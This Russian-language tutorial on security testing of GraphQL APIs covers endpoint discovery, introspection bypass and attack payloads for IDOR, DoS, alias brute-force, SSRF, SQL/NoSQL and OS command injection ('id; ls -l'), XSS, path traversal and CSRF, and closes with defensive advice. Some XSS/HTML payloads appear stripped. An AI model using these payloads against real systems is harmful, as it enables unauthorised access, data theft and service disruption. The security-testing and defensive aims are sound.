Анализ безопасности приложений, использующих GraphQL API
Привет! Меня зовут Даниил Савин. Летом я участвовал в программе стажировки для безопасников от Бастион и в процессе глубоко исследовал тему безопасности приложений, использующих GraphQL. Так появилась статья, из которой вы узнаете:
какие встроенные функции есть у GraphQL;
как тестировать GraphQL API;
какие инструменты использовать;
и как обходить различные защитные механизмы.
GraphQL — это язык запросов API, предназначенный для обеспечения эффективной связи между клиентами и серверами в один запрос. В отличие от REST API, где для получения информации с нескольких серверов нам надо отправлять несколько запросов, с GraphQL достаточно просто скинуть в сервис сам запрос, и он сам вытащит всю информацию с эндпоинтов (конечных точек).
GraphQL, в отличие от REST API, позволяет точно указывать в запросе нужные данные. Так можно избегать множественных вызовов и больших объектов ответа
Для анализа безопасности приложений, взаимодействующих с GraphQL API, важно помнить про существование схемы, которая определяет структуру данных службы. Это — контракт между внешним и внутренним интерфейсом службы, в котором перечисляются доступные объекты (типы), поля и отношения.
#Example schema definition
type Product {
id: ID!
name: String!
description: String!
price: Int
}
С данными, описанными схемой GraphQL, можно взаимодействовать с помощью трех типов операций:
Запросы (Queries) на получение данных;
Мутации (Mutations) — добавляют, изменяют или удаляют данные;
Подписки (Subscriptions) — аналогичны запросам, но устанавливают постоянное соединение, с помощью которого сервер может упреждающе передавать клиенту данные в указанном формате.
Подробнее о запросах, мутациях и их компонентах можно прочитать на моей странице в GitHub. Сейчас важно отметить то, что все операции GraphQL используют одну и ту же конечную точку и обычно отправляются как запрос POST. Это существенно отличается от API-интерфейсов REST, которые используют конечные точки для конкретных операций в ряде методов HTTP. Следовательно, чтобы протестировать GraphQL API, сначала нужно найти конечную точку.
Начало разведки — поиск эдпойнтов
Burp Scanner может автоматически проверять конечные точки GraphQL в рамках сканирования. При обнаружении любых таких конечных точек возникает проблема «GraphQL endpoint found»
Универсальный запрос
Если в ответ на запрос{__typename}
эндпойнт отвечает{"data": {"__typename": "query"}}
— это верный признак того, что URL-адрес соответствует службе GraphQL. Дело в том, что каждая конечная точка GraphQL имеет зарезервированное поле с именем __typename, которое возвращает тип запрашиваемого объекта в виде строки.
Поиск эндпойнтов
Службы GraphQL часто используют аналогичные суффиксы конечных точек. При тестировании конечных точек GraphQL следует отправлять универсальные запросы в места, в где может располагаться служба:
Если эти общие конечные точки не возвращают ответ GraphQL, вы также можете попробовать добавить к пути /v1.
Службы GraphQL часто отвечают на любой запрос, отличный от GraphQL, «запрос отсутствует» или аналогичной ошибкой
Определение движка
Для поиска эндпойнтов также можно использовать инструмент graphw00f, но основное его предназначение — фингерпринтинг, то есть определение технологии, которая работает под капотом:
python3 graphw00f.py -d -t http://[test_host]/
После запуска graphw00f выдает матрицу угроз для обнаруженного движка.
Проверка того, принимает ли служба другие методы
Следующим шагом в попытке найти конечные точки GraphQL является тестирование с использованием различных методов запроса.
Для рабочих конечных точек GraphQL рекомендуется принимать только запросы POST, которые имеют тип содержимого application/json, так как это помогает защититься от уязвимостей CSRF. Однако некоторые конечные точки могут принимать альтернативные методы, такие как запросы GET или POST, которые используют тип содержимого x-www-form-urlencoded.
GET:
https://[test_host]/[endpoint]?query=[urlencoded_payload]
POST (с форматом urlencoded):
curl -X POST 'query=[payload]' https://[test_host]/[endpoint] -H 'Content-Type: application/x-www-urlencoded'
Если не получается найти конечную точку GraphQL, отправляя запросы POST на общие конечные точки, можно попробовать повторно отправить универсальный запрос, используя альтернативные методы HTTP.
Получение информации о схеме
Как только обнаружите конечную точку, вы можете отправить несколько тестовых запросов, чтобы узнать немного больше о том, как она работает. Если конечная точка обеспечивает работу веб-сайта, попробуйте изучить веб-интерфейс в Burp и использовать историю HTTP для проверки отправленных запросов. Однако следующим обязательным шагом в тестировании API является сбор информации о базовой схеме.
Запрос самоанализа и зондирование
Лучший способ сделать это — использовать запросы самоанализа. Самоанализ — это встроенная функция GraphQL, которая позволяет запрашивать у сервера информацию о схеме. Он обычно используется такими приложениями, как IDE GraphQL и инструментами для создания документации. Лучше всего отключать самоанализ в производственных средах, но этот совет не всегда соблюдается.
Чтобы использовать самоанализ для обнаружения информации о схеме, нужно запросить поле __schema
. Это поле доступно для корневого типа всех запросов.
Как и в обычных запросах, можно указать поля и структуру ответа, который вернется при выполнении запроса самоанализа. Например, запрос можно сконфигурировать так, чтобы ответ содержал только имена доступных мутаций.
Чтобы проверить, включен ли самоанализ, можно использовать, например расширение для Burp — InQL.
Если Burp Scanner обнаруживает, что самоанализ включен, он сообщает о проблеме «GraphQL introspection enabled»
Альтернатива — ручная проверка при помощи зонда:
{
"query": "{__schema{queryType{name}}}"
}
Если самоанализ отключен, но приложение отвечает ошибками, которые раскрывают часть схемы, то полученную информацию все равно можно использовать для тестирования, но об этом позже.
Выполнение полного запроса самоанализа
Следующим шагом является выполнение полного запроса самоанализа к конечной точке, чтобы получить как можно больше информации о базовой схеме.
Пример запроса, который возвращает полную информацию обо всех запросах, мутациях, подписках, типах и фрагментах.
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation #Often needs to be deleted to run query
onFragment #Often needs to be deleted to run query
onField #Often needs to be deleted to run query
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
Ответы на запросы самоанализа часто трудны для восприятия и обработки, так что имеет смысл использовать для их анализа визуализатор GraphQL.
Если самоанализ включен, но запрос не выполняется, попробуйте удалить директивы onOperation, onFragment и onField из структуры запроса. Отдельные эндпоинты не принимают их.
Поиск скрытой конечной точки GraphQL и получение схемы на практике
Заходим на сайт.
Смотрим историю HTTP — в ней нет никаких конечных точек для GraphQL, следовательно пытаемся найти сами. Вводим /api и находим GraphQL.
Отправим этот запрос в репитор и изменим его, так чтобы он содержал универсальный запрос, как пример /api?query=query{__typename}
.
Ответ подтвердил, что мы нашли конечную точку GraphQL.
Далее вставим запрос для самоанализа (в URL-кодировке, так как запрос отправляется методом GET).
Приложение отвечает, что самоанализ не разрешен. Попробуем обойти: вставим в наш запрос символ новой строки после __schema
.
Мы обошли запрет и получили всю информацию.
Далее создаем файл в формате JSON и записываем в него ответ сервера (только данные в формате JSON). Этот файл отправляем в InQL.
Узнали скрытую информацию о схеме.
Обход защиты самоанализа
Разработчики могут использовать регулярное выражение для исключения ключевого слова __schema
из входящих запросов.
Чтобы обойти подобные ограничения, можно попытаться модифицировать запрос при помощи символов, которые игнорируются GraphQL, но будут иметь значение для работы регулярного выражения: пробелов, новых строк и запятых. Например, заменить __schema {
на __schema \n{
(переход на новую строку)). Таким образом, если разработчик исключил только __schema{
, то приведенный ниже запрос самоанализа не будет исключен.
#Introspection query with newline
{
"query": "query{__schema
{queryType{name}}}"
}
Если это не сработает, то стоит попробовать запустить зонд при помощи упомянутых альтернативных методов запроса GET или POST с типом содержимого x-www-form-urlencoded
.
Если конечная точка будет принимать запросы самоанализа только через GET, то, чтобы проанализировать результаты с помощью сканера InQL, сначала придется сохранить их в файл, а затем загрузить в утилиту
Проверка самоанализа, отправленная через GET с параметрами, закодированными в URL:
GET /graphql?query=query%7B__schema%0A%7BqueryType%7Bname%7D%7D%7D
Предложения (Suggestions)
Даже если самоанализ полностью отключен, иногда можно получить информацию о структуре API через suggestions — предложения. Это функция платформы Apollo GraphQL, в которой сервер может предлагать изменения запросов в сообщениях об ошибках. Обычно они используются, когда запрос немного неверен, но все же распознаваем (например, There is no entry for 'productInfo'. Did you mean 'productInformation' instead?) Такие исправления позволяют получить полезную информацию, поскольку ответ фактически выдает действительные части схемы. Причем, предложения нельзя отключить непосредственно в Apollo. Впрочем, для этого существует обходной путь.
Перебирать запросы вручную — довольно утомительно, но существует Clairvoyance — инструмент, который использует предложения для автоматического восстановления всей или части схемы GraphQL, даже если самоанализ отключен.
Burp Scanner может автоматически проверять предложения в рамках сканирования. Если найдены активные предложения, Burp Scanner сообщает о проблеме «GraphQL suggestions enabled»
Утечка структур GraphQL
Если самоанализ отключен, попробуйте посмотреть исходный код веб-сайта. Запросы часто предварительно загружаются в браузер в виде библиотек JavaScript. Эти предварительно написанные запросы могут предоставить важную информацию о схеме и использовании каждого объекта и функций. На вкладке инструментов разработчика Sources можно искать все файлы, чтобы перечислить, где сохраняются запросы. Иногда даже запросы, защищенные администратором, уже выставлены.
Inspect/Sources/"Search all files"
file:* mutation
file:* query
Тестирование GraphQL API
Подготовительная работа выполнена, теперь перейдем к описанию уязвимостей и атак на GraphQL. Они обычно возникают из-за недостатков реализации и дизайна, реализуются в форме вредоносных запросов и приводят к серьезным последствиям. Особенно, если злоумышленник сможет получить права администратора. Уязвимые API-интерфейсы GraphQL также могут привести к проблемам с раскрытием информации.
Возможные варианты атак:
IDOR;
DOS;
Brute;
SSRF;
Information Disclosure;
SQL Injection;
NoSQL Injection;
OS Command Injection;
HTML Injection;
Stored XSS;
Authorization Bypass;
Arbitrary File Write and Path Traversal;
CSRF.
Посмотрим, как выглядят все эти атаки.
1. Использование непроверенных аргументов (IDOR)
Тестирование аргументов запроса — хорошая идея для начала исследования.
Если API использует аргументы для прямого доступа к объектам, такой интерфейс может быть подвержен уязвимостям управления доступом. Таким образом, исследователь потенциально может получить доступ к информации, которой у него не должно быть, просто указав аргумент, соответствующий этой информации. По сути это частный случай небезопасной прямой ссылки на объект (IDOR).
В данном примере мы видим ID, который можно поменять и получить пару логин-пароль другого пользователя.
query GetQuery {
getSometh(id:22222) {
name {
login
password
}
}
}
2. DOS — атака типа «отказ в обслуживании»
Существует ряд признаков, указывающих на уязвимость конечной точки к DOS-атакам различных типов, например, атакам пакетного запроса:
data = [
{"query":"query {\n Large\n}"},
{"query":"query {\n Large\n}"},
{"query":"query {\n Large\n}"}
]
requests.post('http://[test_host]/[endpoint]', json=data)
Атака глубоких рекурсивных запросов:
query {
first {
second {
first {
...
}
}
}
}
Атака дублирования полей:
query {
first {
second {
first {
func # 1
func # 2
func # 3
...
func # 1000
}
}
}
}
Такими признаками могут быть: наличие отдельных запросов, которые выполняются дольше других, отсутствие анализа затрат, удаления дублированных полей и повторяющихся шаблонов.
Кроме того, ссылающиеся друг на друга типы и фрагменты позволяют сконструировать закольцованный, круговой запрос.
query {
...A
}
fragment A on PasteObject {
content
title
...B
}
fragment B on PasteObject {
content
title
...A
}
3. Brute
Как правило, для предотвращения атак грубой силы администраторы используют ограничители скорости. Они работают на основе количества полученных HTTP-запросов или на количестве операций, выполненных на конечной точке. И те и другие можно обойти, уменьшив количество запросов к серверу при помощи псевдонимов.
Обычно объекты GraphQL не могут содержать несколько свойств с одинаковыми именами. Псевдонимы позволяют обойти это ограничение, явно называя свойства, которые должны возвращаться API. Вы можете использовать псевдонимы для возврата нескольких экземпляров одного и того же типа объекта в одном HTTP-сообщении.
#Request with aliased queries
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}
В приведенном выше упрощенном примере показана серия запросов с псевдонимами, проверяющих, действительны ли коды скидок магазина. Эта операция может обойти ограничение скорости, поскольку это один HTTP-запрос. Потенциально ее можно использовать для одновременной проверки большого количества скидочных кодов.
Практическая демонстрация обхода защиты от грубой силы GraphQL с помощью Burp
Видим окно логина. Нам нужно забрутить пользователя carlos, но после 3 неправильных запросов идет блокировка на минуту.
Чтобы ее обойти, можно использовать псевдонимы. Создаем запрос (так как руками его писать очень долго, можно написать скрипт, который его сгенерирует из предоставленного списка паролей).
Пример:
Еще нужно удалить «operationName» и переменные. Редактируем запрос:
Отправляем и получаем множество ответов на попытку залогиниться, среди них находим со значением «true»:
Используем найденный токен и получаем доступ к аккаунту.
4. SSRF
Эта уязвимость возникает, когда есть функция мутации, параметры которой принимают такие данные, как host, port, scheme. Если их можно изменить, значит можно реализовать атаку SSRF.
mutation {
Vuln_SSRF(host:"localhost", port:57130, path:"/", scheme:"http") {
result
}
}
5. Information Disclosure
Порой к этому типу уязвимостей относят даже включенную функцию самоанализа, потому что она дает злоумышленнику очень много информации о схеме GraphQL. Однако существует ряд функций, которые также могут раскрывать личные поля пользователей. В примере ниже — это GetUser. Мы просто получаем email юзера с id:12.
Запрос:
query {
getUser(id:12) {
id
mail
}
}
Ответ:
{
"getUser": [
"data": {
"id" : "12",
"mail" : "somemail@mail.com"
}
]
}
6. NoSQL Injection
В случае с GraphQL API для реализации NoSQL Injection можно использовать $regex, $ne внутри параметра search:
{
doctors(
options: "{\"limit\": 1, \"patients.ssn\" :1}",
search: "{ \"patients.ssn\": { \"$regex\": \".*\"}, \"lastName\":\"Admin\" }")
{
firstName,
lastName,
id,
patients{
ssn
}
}
}
7. SQL Injection
С GraphQL работают стандартные методы проверки SQLi-приложения на SQL-инъекцию. В данном случае используется одинарная кавычка:
{
bacon(id: "1'") {
id,
type,
price
}
}
8. OS Command Injection
Эти инъекции возникают, когда функции, принимают какие-либо Shell-команды и обращаются к Shell. В данном случае идет команда ID плюс мы добавляем lesson.
query {
systemDiagnostics(username:"admin", password:"password", cmd:"id; ls -l")
}
9. HTML Injection
HTML-инъекция возникает, когда есть мутация, отвечающая за изменение либо добавление контента на странице.
mutation {
createPaste(title:"hello!
", content:"zzzz", public:true) {
paste {
id
}
}
}
10. Stored XSS
Ситуация аналогичная HTML-инъекции. Она тоже возникает, когда у нас есть мутация, отвечающая за изменение либо добавление чего-либо на страницу. В данном примере — обычный скрипт:
mutation {
createPaste(title:"", content:"zzzz", public:true) {
paste {
id
}
}
}
А вот пример с импортом файла:
mutation {
importPaste(host:"attacker", port:80, path:"/xss.html"")
}
11. Authorization Bypass
Администратор может сделать фильтр, который, будет блокировать определенные типы операций. Например:
requests.post('http://host/graphql', json={"query":"query { systemHealth }"})
Однако GraphQL позволяет давать операциям имена. Они не обязательны и нужны для удобства, чтобы люди понимали, что делает та или иная команда. Но если присвоить заблокированной операции имя, велик шанс того, что доступ будет разрешен.
requests.post('http://host/graphql', json={"query":"query getPastes { systemHealth }"})
12. Arbitrary File Write and Path Traversal
Эта уязвимость возникает, когда GraphQL отвечает за загрузку каких-либо файлов.
mutation {
uploadPaste(filename:"../../../../../tmp/file.txt", content:"hi"){
result
}
}
13. CSRF
GraphQL можно использовать в качестве вектора для CSRF-атак, если конечная точка GraphQL не проверяет тип содержимого отправленных ей запросов.
Запросы POST, использующие тип содержимого application/json
, защищены от подделки, если тип содержимого проверен. В этом случае злоумышленник не сможет заставить браузер жертвы отправить этот запрос, даже если жертва посетит вредоносный сайт. Однако атаку можно реализовать, если эндпоинт принимает запросы GET или POST с типом содержимого x-www-form-urlencoded. В этом случае злоумышленники могут использовать эксплойты для отправки вредоносных запросов к API.
Шаги по построению атаки GraphQL CSRF и доставке эксплойта такие же, как и для «обычных» уязвимостей CSRF.
Практическая демонстрация атаки CSRF с помощью Burp
В этом примере мы находим векторы для CSRF-атаки, одним из которых является изменение e-mail. Используя данные для входа, логинимся и меняем почту.
Видим, что запрос идет к GraphQL.
Пытаемся еще раз сменить почту с такими же токенами и получаем согласие (потенциальная CSRF найдена).
Изменяем в запросе хедер Content-Type на application/x-www-form-urlencoded. В тело запроса записываем наш запрос и проверяем, что все работает.
Создаем PoC CSRF.
Копируем HTML и вставляем в тело на нашем сервере.
Отправляем жертве, и когда она посетит наш сайт, ее почта изменится.
Средства тестирования
Чтобы тестировать приложения, нужны инструменты и расширения для них. В таблице ниже представлены расширения для Burp.
Название | Удобный вид просмотра | Функция перезаписи запросов | Составление всей схемы GraphQL | Поддержка обхода лимита запросов |
InQL | ➕ | ➕ | ➕ | ➕ |
Graph Query Parser & Editor | ➕ | ➖ | ➕ | ➖ |
GraphQL Raider | ➕ | ➖ | ➖ | ➖ |
Расширения для Burp
Я рекомендую InQL, потому что он и обновляется до сих пор, и поддерживается, и функционал у него в целом больше, чем у других.
Название | Вывод всей схемы | Поиск конечных точек | Анализ на основе ошибок | Взаимодействие с GraphQL | Поддержка брута | Поддержка обнаружения SQLi и NoSQLi | Перезапись запросов |
GraphCrawler | ➕ | ➕ | ➕ | ➖ | ➖ | ➖ | ➖ |
GraphQLmap | ➕ | ➖ | ➖ | ➕ | ➕ | ➕ | ➖ |
CrackQL | ➖ | ➖ | ➖ | ➖ | ➕ | ➖ | ➖ |
GraphQL Cop | ➕ | ➖ | ➕ | ➖ | ➖ | ➖ | ➕ |
Консольные инструменты
GraphCrawler — имеет поддержку вывода по файлу JSON, поиск субдоменов и конечных точек в них;
GraphQLmap — имеет обход лимита для брута;
CrackQL — лучший инструмент для брута, имеет для этого обширный функционал.
Предотвращение атак
Чтобы предотвратить многие распространенные атаки GraphQL, при развертывании API в рабочей среде выполните следующие действия:
Если ваш API не предназначен для использования широкой публикой, отключите в нем самоанализ. Это усложнит злоумышленнику получение информации о том, как работает API, и снизит риск раскрытия нежелательной информации;
Для получения информации о том, как отключить самоанализ на платформе Apollo GraphQL, см. эту запись в блоге;
Если ваш API предназначен для использования широкой публикой, вам, вероятно, придется оставить включенным самоанализ. Тем не менее, вам следует просмотреть схему API, чтобы убедиться, что она не делает непреднамеренные поля общедоступными;
Убедитесь, что предложения отключены. Это не позволяет злоумышленникам использовать Clairvoyance или аналогичные инструменты для сбора информации о базовой схеме. Вы не можете отключить предложения непосредственно в Apollo. См. этот GitHub для обходного пути;
Убедитесь, что схема вашего API не предоставляет никаких личных полей пользователя, таких как адреса электронной почты или идентификаторы пользователей.
Предотвращение атак грубой силы GraphQL
Иногда можно обойти стандартное ограничение скорости при использовании API GraphQL. Но существуют шаги проектирования, которые вы можете предпринять, чтобы защитить свой API от атак грубой силы. Как правило, они включают ограничение сложности запросов, принимаемых API, и уменьшение возможностей злоумышленников для выполнения атак типа «отказ в обслуживании» (DoS).
Для защиты от атак грубой силы:
Ограничьте глубину запросов вашего API. Термин «глубина запроса» относится к количеству уровней вложенности в запросе. Сильно вложенные запросы могут существенно повлиять на производительность и потенциально могут предоставить возможность для DoS-атак, если они будут приняты. Ограничив глубину запроса, которую принимает ваш API, вы можете уменьшить вероятность этого;
Настройте лимиты операций. Ограничения операций позволяют настроить максимальное количество уникальных полей, псевдонимов и корневых полей, которые может принять ваш API;
Настройте максимальное количество байтов, которое может содержать запрос;
Рассмотрите возможность реализации анализа затрат в вашем API. Анализ затрат — это процесс, посредством которого библиотечное приложение определяет стоимость ресурсов, связанных с выполнением запросов, по мере их поступления. Если запрос слишком сложен для выполнения с точки зрения вычислений, API отбрасывает его.
Примечание: Для получения информации о том, как реализовать эти функции в Apollo, см. эту запись в блоге.
Предотвращение GraphQL CSRF
Чтобы при разработке своего API защититься конкретно от уязвимостей GraphQL CSRF, убедитесь в следующем:
Ваш API принимает запросы только через POST в кодировке JSON;
API проверяет, соответствует ли предоставленный контент предоставленному типу контента;
API имеет безопасный механизм токенов CSRF.
Надеюсь, мой доклад оказался вам полезен. Больше интересных ссылок по теме можно найти на моей странице на GitHub.